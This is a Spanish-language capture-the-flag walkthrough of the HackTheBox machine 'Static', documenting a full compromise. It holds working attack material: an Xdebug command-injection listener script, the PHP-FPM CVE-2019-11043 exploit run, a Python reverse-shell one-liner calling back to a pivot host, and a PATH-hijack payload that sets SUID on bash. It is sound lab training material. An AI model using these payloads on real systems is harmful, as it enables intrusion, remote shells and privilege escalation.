¡Hola! Vamos a resolver de la máquina Static
de dificultad “Difícil” de la plataforma HackTheBox.
Técnicas Vistas:
- Compressed File Recomposition (Fixgz)
- Abusing TOTP (Python Scripting - NTP protocol)
- Playing with Static Routes
- XDebug Exploitation (RCE)
- Abusing PHP-FPM (RCE) [CVE-2019-11043] (PIVOTING)
- Abusing Capabilities (cap_setuid + Path Hijacking - Privilege Escalation)
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Static
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.246
PING 10.10.10.246 (10.10.10.246) 56(84) bytes of data.
64 bytes from 10.10.10.246: icmp_seq=1 ttl=63 time=38.3 ms
--- 10.10.10.246 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.246 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 62
8080/tcp open http-proxy syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -sCV -p22,2222,8080 10.10.10.246 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn t have a title (text/html; charset=UTF-8).
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento Web
Si accedemos al servicio http por el puerto 8080 no carga nada. Observamos que es escaneo de nmap ecnontró dos rutas potenciales /vpn/
y /.ftp_uploads/
Accedemos a /vpn/
y nos ecnontramos ante un panel de login, aplicando guessing averiguamos las credenciales admin:admin
. Después de introducir las credenciales nos pide una clave OTP
. El algoritmo de contraseña de un solo uso o TOTP es un algoritmo que permite generar una contraseña de un solo uso que utiliza la hora actual como fuente de singularidad
Seguimos con el reconocimiento accediendo a /.ftp_uploads/
. Tenemos capacidad de directory listing, vemos un archivo db.sql.gz
. Nos lo traemos a nuestro directorio de trabajo para poder examinarlo más detenidamente. Por otro lado vemos un archivo warning.txt
que si examinamos el contenido nos avisa de que archivos binarios se están corrompiendo durante la transferencia
Al parecer está comprimido en gzip
pero si tratamos de descomprimirlo parece estar corrupto
1
2
3
4
5
❯ gunzip db.sql.gz
gzip: db.sql.gz: invalid compressed data--crc error
gzip: db.sql.gz: invalid compressed data--length error
Probamos a descomprimirlo con 7z
. Dá algún error pero parece que ha descomprimido el archivo db.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ 7z x db.sql.gz
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD Ryzen 5 3600X 6-Core Processor (870F10),ASM,AES-NI)
Scanning the drive for archives:
1 file, 262 bytes (1 KiB)
Extracting archive: db.sql.gz
--
Path = db.sql.gz
Type = gzip
Headers Size = 17
ERROR: CRC Failed : db.sql
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
❯ ll
.rw-r--r-- root root 363 B Thu Jun 18 17:43:42 2020 db.sql
.rw-r--r-- yorch yorch 262 B Sun Dec 18 16:40:35 2022 db.sql.gz
Examinamos el contenido del archivo y parece estar corrompido
1
2
3
4
5
6
7
8
9
10
11
12
❯ cat db.sql
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: db.sql
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ CREATE DATABASE static;
2 │ USE static;
3 │ CREATE TABLE users ( id smallint unsignint a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS
│ iaA;
4 │ INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
5 │ IN
6 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Buscamos en Google y encontramos la herramienta fixgz
de yonjar. La clonamos en nuestro directorio de trabajo, la compilamos y ejecutamos según instrucciones
1
2
3
4
5
6
7
❯ gcc fixgz.cpp -o fixgz
❯ ll
.rwxr-xr-x root root 20 KB Sun Dec 18 17:09:59 2022 fixgz
.rwxr-xr-x root root 1.4 KB Sun Dec 18 17:08:15 2022 fixgz.cpp
.rw-r--r-- root root 22 KB Sun Dec 18 17:08:15 2022 fixgz.exe
.rw-r--r-- root root 135 B Sun Dec 18 17:08:15 2022 README.md
❯ ./fixgz ../db.sql.gz ../fixed.sql.gz
Descomprimimos el archivo fixed.sql.gz
y esta vez podemos acceder al archivo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ gunzip fixed.sql.gz
❯ ll
drwxr-xr-x root root 72 B Sun Dec 18 17:09:59 2022 fixgz
.rw-r--r-- yorch yorch 262 B Sun Dec 18 16:40:35 2022 db.sql.gz
.rw-r--r-- root root 355 B Sun Dec 18 17:10:27 2022 fixed.sql
❯ cat fixed.sql
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: fixed.sql
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ CREATE DATABASE static;
2 │ USE static;
3 │ CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) );
│
4 │ INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );
5 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Tenemos credenciales de admin
. Con la herramienta web CrackStation procedemos a crackear la contraseña. Confirmamos qu es la password encontrada anteriormente por guessing. Entendemos que el tercer valor de las credenciales obtenidas del archivo sql es la clave OTP, a pesar de ello la introducimos y no nos loguea. Debido a la diferencia de hora entre nuestro equipo y la máquina víctima la clave OTP no funciona correctamente
Si realizamos un escaneo de puertos por UDP localizamos el puerto 123/udp open ntp
abierto. NTP
(Network Time Protocol) es un protocolo de Internet para sincronizar los relojes de los sistemas informáticos a través del enrutamiento de paquetes en redes con latencia variable. NTP utiliza UDP como su capa de transporte, usando el puerto 123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ nmap -sU --top-ports 500 --open -T5 -v -n 10.10.10.246 -oN ../nmap/udpScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 17:27 CET
Initiating Ping Scan at 17:27
Scanning 10.10.10.246 [4 ports]
Completed Ping Scan at 17:27, 0.07s elapsed (1 total hosts)
Initiating UDP Scan at 17:27
Scanning 10.10.10.246 [500 ports]
Discovered open port 123/udp on 10.10.10.246
Completed UDP Scan at 17:28, 19.50s elapsed (500 total ports)
Nmap scan report for 10.10.10.246
Host is up (0.047s latency).
Not shown: 499 open|filtered udp ports (no-response)
PORT STATE SERVICE
123/udp open ntp
❯ nmap -sU -sCV -p123 10.10.10.246
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 17:31 CET
Nmap scan report for 10.10.10.246
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
123/udp open ntp NTP v4 (unsynchronized)
| ntp-info:
|_
Host script results:
|_clock-skew: 5s
Crearemos un script en python el cual nos generará una clave OTP sincronizando las horas de la máquina víctima con la nuestra
1
2
3
4
5
6
7
8
9
import pyotp
import ntplib
from time import ctime
client = ntplib.NTPClient()
response = client.request("10.10.10.246")
totp = pyotp.TOTP("orxxi4c7orxwwzlo")
print("EL TOKEN es -> %s" % totp.at(response.tx_time))
Ejecutamos el script y obetenemos clave OTP válida. Accedemos al servicio vpn mostrado anteriormente
1
2
❯ python3 getToken.py
EL TOKEN es -> 265088
Observamos unas IPs que están fuera de nuestro rango. Introducimos test
en el input y nos descarga un archivo test.ovp
. Tratamos de conectarnos a la vpn pero nos da error. Examinado su contenido encontramos dominio vpn.static.htb
, agregamos a /etc/hosts
Nos conectamos a la VPN y nos asignan un nuevo interfaz de red tun9
. Por la Ip que tenemos asiganada vemos que estamos dentro del mismo segmento que la IP mostrada en la web vpn 172.30.0.1
Seguimos escaneando los puertos abiertos de 172.30.0.1
. Localizamos puertos 22 y 2222 abiertos
1
2
3
4
5
6
7
8
❯ nmap -sS --min-rate 5000 --open -n -Pn -p- 172.30.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 18:05 CET
Nmap scan report for 172.30.0.1
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
2222/tcp open EtherNetIP-1
Nuestra IP está en el rango 127.30.0.0/24, en la web vemos dos IPs que están en el rango 172.20.0.0/24. Agregaremos una ruta estática para poder tener alcance a este segmento. Mediante la herramienta ping
confirmamos que tenemos conectividad con el segmento 172.20.0.0/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ ip route add 172.20.0.0/24 dev tun9
❯ ip route list
default via 192.168.1.1 dev ens33 proto dhcp src 192.168.1.148 metric 100
10.10.10.0/23 via 10.10.14.1 dev tun0
10.10.14.0/23 dev tun0 proto kernel scope link src 10.10.14.34
10.129.0.0/16 via 10.10.14.1 dev tun0
172.17.0.0/24 via 172.30.0.1 dev tun9
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown
172.20.0.0/24 dev tun9 scope link
172.30.0.0/16 dev tun9 proto kernel scope link src 172.30.0.9
192.168.1.0/24 dev ens33 proto kernel scope link src 192.168.1.148 metric 100
❯ ping -c 1 172.20.0.11
PING 172.20.0.11 (172.20.0.11) 56(84) bytes of data.
64 bytes from 172.20.0.11: icmp_seq=1 ttl=63 time=38.8 ms
--- 172.20.0.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.813/38.813/38.813/0.000 ms
Seguimos escaneando puertos y servicios de web 172.20.0.10
1
2
3
4
5
6
7
8
9
❯ nmap -sS --min-rate 5000 --open -n -Pn -p- 172.20.0.10
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 18:25 CET
Nmap scan report for 172.20.0.10
Host is up (0.042s latency).
Not shown: 65522 closed tcp ports (reset), 11 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Detectamos un servicio HTTP en el puerto 80. Accedemos y observamos un archivo info.php
Examinando el archivo info.php
obsrevamos que tiene la extensión Xdebug
. Xdebug es una extensión de PHP que proporciona la capacidad de depuración código y errores. Buscando por vulnerabilidades asociadas a esta extensión encontramos el repositorio de GitHub de nqxcode. Nos lo clonamos en nuestro directorio de trabajo
Ejecutamos script con python2 y la herramienta se pone en escucha en el puerto 9000. Siguiendo las instrucciones del repositorio hacemos un curl a la dirección web pasando por parámetro la cabecera Cookie
y tenemos capacidad de inyectar comandos en PHP
Como vimos en el archivo info.php la función system
no está deshabilitada. Ejecutamos whoami
. La respuesta viene en base64, decodificamos para obetener texto claro
para ganar en agilidad a la hora de ejecutar comandos vamos a modificar el script en python2 del repositorio de GitHub
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python2
import socket, pdb, signal, sys, re
from base64 import b64decode
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
response_b64 = re.findall(r'CDATA\[(.*?)\]', client_data)[0]
try:
output = b64decode(response_b64)
print(output)
except:
None
data = raw_input ('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
De esta forma el propio script nos descodifica automáticamente el output del comando insertado
1
2
3
❯ python2 exploit_shell.py
>> system("whoami")
www-data
Enumerando el archivo /etc/psswd
nos percatamos que el usuario www-data
tiene directorio personal en /home
1
2
>> system("grep www-data /etc/passwd")
www-data:x:33:33:www-data:/home/www-data:/bin/bash
Listando contenido del directorio home de www-data tenemos capacidad de listar contenido del directorio /home/www-data/.ssh
y encontramos una clave privada id_rsa
. Sólo hay un pequeño problema y es que sólo nos lista una única línea, en este caso vemos la última línea del archivo id_rsa
1
2
>> system("cat /home/www-data/.ssh/id_rsa")
-----END RSA PRIVATE KEY-----
Mediante filtrado con comandos en bash exatremos línea a línea y nos importamos la clave id_rsa a nuestro equipo. Tratamos de conectarnos y nos pide contraseña, pero recordemos que tenemos el puerto 2222 con el servicio open ssh disponible. Nos conectamos sin problema al puerto 2222. la flag de usuario de bajos privilegios la localizamos en el directorio /home
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ ssh -i id_rsa www-data@10.10.10.246
www-data@10.10.10.246 s password:
❯ ssh -i id_rsa www-data@10.10.10.246 -p 2222
The authenticity of host '[10.10.10.246]:2222 ([10.10.10.246]:2222)' can t be established.
ECDSA key fingerprint is SHA256:SO5uMKk4fPWk/kDc0dLD5Uf7dlyIes4r6s26waZlxkQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.246]:2222' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.19.0-17-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Jun 14 08:00:30 2021 from 10.10.14.4
www-data@web:~$ whoami
www-data
www-data@web:/home$ cat user.txt
0b5dcbfc091785dad***************
Movimiento Lateral
Si examinamos las interfaces de red observamos que existen dos interfaces de red con sus respectivos segmentos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.10 netmask 255.255.255.0 broadcast 172.20.0.255
ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet)
RX packets 68036 bytes 3984803 (3.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67861 bytes 3875490 (3.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.254.2 netmask 255.255.255.0 broadcast 192.168.254.255
ether 02:42:c0:a8:fe:02 txqueuelen 0 (Ethernet)
RX packets 36 bytes 11198 (11.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 12 bytes 810 (810.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Recordemos cuando ganamos acceso a la red había una IP 192.168.254.3
con el identificador pki
Lanzamos ping para comprobar que tengamos acceso a este segmento
1
2
3
4
5
6
7
www-data@web:/home$ ping -c 1 192.168.254.3
PING 192.168.254.3 (192.168.254.3) 56(84) bytes of data.
64 bytes from 192.168.254.3: icmp_seq=1 ttl=64 time=0.135 ms
--- 192.168.254.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.135/0.135/0.135/0.000 ms
Mediante la herramienta wget
verificamos por si hubiera algún contenido alojado en el puerto 80
1
2
www-data@web:/home$ wget -qO- http://192.168.254.3
batch mode: /usr/bin/ersatool create|print|revoke CN
Con ssh
nos volvemos a conectar pero esta vez aplicando remote port forwarding para traernos el puerto 80 a nuestro equipo. Accedemos en el navegador a localhost
y observamos el contenido mostrado por la herramienta wget
1
❯ ssh -i id_rsa www-data@10.10.10.246 -p 2222 -L 80:192.168.254.3:80
Con la herramienta curl
listamos las cabeceras y obtenemos versión de PHP-FPM/7.1
1
2
3
4
5
6
7
8
❯ curl -s -X GET "http://localhost" -I
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 18 Dec 2022 18:41:26 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP-FPM/7.1
Buscamos en Google por vulnerabilidades asociadas a esta versión de PHP y encontramos el repositorio de GitHub de theMiddleBlue
Ejecutamos exploit y obsrevamos output
1
2
3
4
5
6
7
8
9
10
11
12
python3 exploit.py --url http://localhost/index.php --verbose
.
.
.
[*] Target seems vulnerable (QSL:1754/HVL:224): PHPSESSID=d67d4eccf2e9f3fdec8cadd6e8260261; path=/
.
.
.
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
Accedemos a la url presentada por el exploit y logramos listar los archivos y directorios de la máquina. Tenemos RCE
en la máquina pki
Recordemos que en la máquina pki
tenemos acceso al segmento 192.168.0.0/24. Directamente no tenemos conectividad con nuestra máquina de atacante por lo que primero debemos entablar una reverse shell con la máquina web
. Primero debemos subir un binario de netcat compilado ya que no dispone de esta herramienta
1
❯ scp -P 2222 -i id_rsa nc www-data@10.10.10.246:/tmp/nc
Nos ponemos en escucha en el puerto 4646 en la máquina web
y ejecutamos curl junto oneliner en python
1
curl -s -G -X GET "http://localhost/index.php" --data-urlencode "a=/usr/bin/python3.6 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.254.2\",4646));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" | awk "/' - /,/: cannot open/" | sed "s/' - //" | grep -v cannot
1
2
3
4
5
6
7
8
www-data@web:/tmp$ ./nc -nlvp 4646
Connection from 192.168.254.3:41876
/bin/sh: 0: can't access tty; job control turned off
$ www-data
$ whoami
www-data
$ hostname
pki
Escalada Privilegios
Listamos contenido de la carpeta que hemos accedido y vemos un index.php
, listamos su contenido. Vemos un binario ersatool
, listando capabilities vemos que tiene cap_setuid+eip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@pki:~/html$ ls -l
total 8
-rw-r--r-- 1 root root 174 Apr 4 2020 index.php
drwxr-xr-x 2 www-data www-data 4096 Sep 20 14:30 uploads
www-data@pki:~/html$ cat index.php
<?php
header('X-Powered-By: PHP-FPM/7.1');
//cn needs to be parsed!!!
$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_GET['cn']);
echo passthru("/usr/bin/ersatool create ".$cn);
?>
www-data@pki:~/html$ ls -l /usr/bin/ersatool
-rwxr-xr-x 1 root root 22496 Jun 21 2021 /usr/bin/ersatool
www-data@pki:~/html$ getcap /usr/bin/ersatool
/usr/bin/ersatool = cap_setuid+eip
Nos decargamos la herramienta pspy
. Primero debemos subirla a la máquina web
y de ahí mediante un curl en bash la subimos a la máquina pki
1
2
#MAQUINA ATACANTE
❯ scp -P 2222 -i id_rsa pspy64 www-data@10.10.10.246:/tmp/pspy
1
2
3
4
5
#MAQUINA WEB
www-data@web:/tmp$ ls
nc pspy xdebug.log
www-data@web:/tmp$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#MAQUINA PKI
www-data@pki:/tmp$ function __curl() {
> read proto server path <<<$(echo ${1//// })
> DOC=/${path// //}
> HOST=${server//:*}
> PORT=${server//*:}
> [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
>
> exec 3<>/dev/tcp/${HOST}/$PORT
> echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
> (while read line; do
> [[ "$line" == $'\r' ]] && break
> done && cat) <&3
> exec 3>&-
> }
www-data@pki:/tmp$ __curl http://192.168.254.2:8080/pspy > pspy
www-data@pki:/tmp$ file pspy
pspy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Ejecutamos la herramienta pspy
y ganando acceso a una nueva consola en la máquina pki
ejecutamos el binario ersatool
para examinar el output en pspy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@pki:/tmp$ ./pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
.
.
.
2022/12/18 20:05:21 CMD: UID=0 PID=2069 | ersatool
2022/12/18 20:05:21 CMD: UID=0 PID=2071 | /bin/sh /opt/easyrsa/easyrsa build-client-full test nopass batch
2022/12/18 20:05:21 CMD: UID=0 PID=2072 | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`ChangeMe`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf
2022/12/18 20:05:21 CMD: UID=0 PID=2073 | openssl version
2022/12/18 20:05:21 CMD: UID=0 PID=2074 | openssl version
2022/12/18 20:05:21 CMD: UID=0 PID=2075 | rm /opt/easyrsa/pki/extensions.temp
Observamos que la aplicación ersatool
ejecuta una serie de instrucciones algunas de ellas haciendo referencia a openssl. Mediante Path Hijacking
nos crearemos nuestra aplicación maliciosa openssl
la cual aplicará permisos SUID a la bash
1
2
3
4
www-data@pki:/tmp$ echo -e '#!/bin/bash\nchmod u+s /bin/bash' > openssl
#!/bin/bash
chmod u+s /bin/bash
www-data@pki:/tmp$ export PATH=/tmp/:$PATH
Ejecutamos nuevamente la aplicación ersatool y asignamos privilegios SUID a la bash. Con bash -p
ganamos acceso privilegiado a l máquina víctima. la flag de root la tenemos en el directorio de /root
1
2
3
4
5
www-data@pki:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
www-data@pki:/tmp$ bash -p
bash-4.4# cat /root/root.txt
0aa40d05f67137938***************
Hemos completado la máquina Static de HackTheBox!! Happy Hacking!!